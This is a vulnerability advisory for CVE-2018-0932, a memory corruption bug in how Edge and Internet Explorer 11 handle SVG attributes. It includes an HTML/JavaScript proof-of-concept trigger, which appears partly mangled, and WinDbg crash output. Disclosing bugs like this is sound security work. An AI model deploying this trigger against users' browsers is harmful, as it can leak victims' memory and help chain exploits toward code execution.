Microsoft Edge / Internet Explorer SVG Memory Corruption (CVE-2018-0932)

Mar 14 2018

A memory corruption vulnerability exists in Microsoft Edge and Internet Explorer. The corruption happens as a result of incorrect handling of SVG attributes. An attacker can use this vulnerability to disclose memory of a victim’s machine. Generally, such vulnerability is chained with a Remote Code Execution vulnerability and used to bypass common defenses.

Date Released: 14/03/2018
CVE: CVE-2018-0932
Author: Scott Bell
Vendor Website:
Affected Software: Microsoft Edge Internet Explorer 11

Proof of Concept

The following HTML cam be used to reproduce the vulnerability

<meta http-equiv="cache-control" content="max-age=0" />
<meta http-equiv="cache-control" content="no-cache" />
<meta http-equiv="expires" content="0" />
<meta http-equiv="expires" content="Tue, 01 Jan 1980 1:00:00 GMT" />
<meta http-equiv="pragma" content="no-cache" />
function boom() {
try { svg.addEventListener("DOMAttrModified", remove); } catch(e) { }
try { tspan.dy.baseVal.appendItem(svg.x.baseVal); } catch(e) { }
function remove() {
try { tspan.removeAttribute("dy"); } catch(e) { }
<body onload=boom()>
<svg id="svg">
<tspan id="tspan" />

The following table shows the Windbg debugger output:

(e64.12d4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0558b5c8 ebx=00000000 ecx=0f972fd8 edx=00000000 esi=0f972fd8 edi=0f972fd8
eip=5b2e6288 esp=0558b580 ebp=0558b5a0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246
5b2e6288 8b4604 mov eax,dword ptr [esi+4] ds:0023:0f972fdc=????????
1:018> k
ChildEBP RetAddr
0558b5a0 5b2e623e MSHTML!CCookieDataList<CSVGLength,CUnitValue,CSVGLength>::AddToStore+0x12
0558b5bc 5ba1f62d MSHTML!CCookieDataList<CSVGLength,CUnitValue,CSVGLength>::AppendData+0x1b
0558b5e8 5ba2233a MSHTML!CCookieDataList<CSVGLength,CUnitValue,CSVGLength>::AppendItem+0x50
0558b608 5ba7bc39
st<CSVGLength,CUnitValue,CSVGLength>,SVGDOMTypeTraits<CSVGLength,ISVGLength,4394> >
0558b624 5ba61a22
st<CSVGLength,CUnitValue,CSVGLength>,SVGDOMTypeTraits<CSVGLength,ISVGLength,4394> >
    0558b650 5a4e2bba MSHTML!CFastDOM::CSVGLengthList::Trampoline_appendItem+0x42

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